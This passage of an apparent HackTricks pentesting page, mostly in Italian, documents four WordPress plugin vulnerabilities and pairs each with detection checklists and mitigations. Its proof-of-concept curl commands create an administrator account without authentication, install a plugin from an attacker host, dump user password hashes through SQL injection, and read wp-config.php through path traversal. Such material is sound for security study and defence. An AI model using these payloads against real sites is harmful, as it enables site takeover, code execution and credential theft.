
bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Perché è sfruttabile

  • Route REST sensibile protetta solo da una prova d'identità a bassa entropia (username) o da permission_callback mancante
  • Nessun controllo delle capability; la chiave mintata viene accettata come bypass universale

Checklist di rilevamento

  • Usa grep sul codice del plugin per register_rest_route(..., [ 'permission_callback' => '__return_true' ])
  • Qualsiasi route che emette token/chiavi basandosi su identità fornite nella request (username/email) senza collegarle a un utente autenticato o a una capability
  • Cerca route successive che accettano il token/chiave mintata senza controlli di capability lato server

Mitigazioni

  • Per qualsiasi route REST privilegiata: richiedere un permission_callback che applichi current_user_can() per la capability richiesta
  • Non generare chiavi a lunga durata basate sull'identità fornita dal client; se necessario, emettere token a breve durata, legati all'utente, dopo autenticazione e riaffermare le capability all'uso
  • Validare il contesto utente del chiamante (wp_set_current_user is not sufficient alone) e respingere le richieste dove !is_user_logged_in() || !current_user_can()

Nonce gate misuse → installazione arbitraria di plugin non autenticata (FunnelKit Automations ≤ 3.5.3)

Nonces prevent CSRF, not authorization. Se il codice tratta il superamento del nonce come via libera e poi salta i controlli di capability per operazioni privilegiate (es., install/activate plugins), attaccanti non autenticati possono soddisfare un requisito di nonce debole e raggiungere RCE installando un plugin backdoored o vulnerabile.

  • Percorso vulnerabile: plugin/install_and_activate
  • Difetto: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
  • Impatto: compromissione completa tramite installazione/attivazione arbitraria di plugin

PoC (la forma dipende dal plugin; solo illustrativo)

bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Detection checklist

  • Gestori REST/AJAX che modificano plugin/theme con solo wp_verify_nonce()/check_admin_referer() e senza capability check
  • Qualsiasi percorso di codice che imposta $skip_caps = true dopo la validazione del nonce

Hardening

  • Tratta sempre i nonces solo come token CSRF; applica i controlli di capability indipendentemente dallo stato del nonce
  • Richiedi current_user_can('install_plugins') e current_user_can('activate_plugins') prima di raggiungere il codice dell'installer
  • Rifiuta accessi non autenticati; evita di esporre azioni AJAX nopriv per flussi privilegiati

Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)

Multiple depicter-* actions accettavano il parametro s (search) e lo concatenavano in query SQL senza parametrizzazione.

  • Parameter: s (search)
  • Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
  • Impact: esfiltrazione del database (utenti, hash), movimento laterale

PoC

bash
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Checklist di rilevamento

  • Grep per i depicter-* action handlers e l'uso diretto di $_GET['s'] o $_POST['s'] in SQL
  • Controllare le query personalizzate passate a $wpdb->get_results()/query() che concatenano s

Mitigazioni

  • Usare sempre $wpdb->prepare() o i placeholder di wpdb; rifiutare metacaratteri inaspettati lato server
  • Aggiungere una allowlist stretta per s e normalizzare al charset/lunghezza attesi

Inclusione locale di file non autenticata via percorso template/file non validato (Kubio AI Page Builder ≤ 2.5.1)

Accettare percorsi controllati dall'attaccante in un parametro template senza normalizzazione/contenimento permette la lettura di file locali arbitrari, e talvolta l'esecuzione di codice se file PHP/log includibili vengono inclusi in fase di runtime.

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Difetto: nessuna normalizzazione/allowlisting; traversal permesso
  • Impatto: esposizione di segreti (wp-config.php), potenziale RCE in ambienti specifici (log poisoning, includable PHP)

PoC – leggere wp-config.php

bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

Checklist di rilevamento

  • Qualsiasi handler che concatena i percorsi di richiesta in sink di include()/require()/read senza containment tramite realpath()
  • Cercare traversal patterns (../) che raggiungono al di fuori della directory templates prevista

Mitigazioni

  • Forzare l'uso di template consentiti (allowlisted); risolvere con realpath() e richiedere str_starts_with(realpath(file), realpath(allowed_base))
  • Normalizzare gli input; rifiutare sequenze di traversal e path assoluti; usare sanitize_file_name() solo per nomi di file (non per percorsi completi)

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks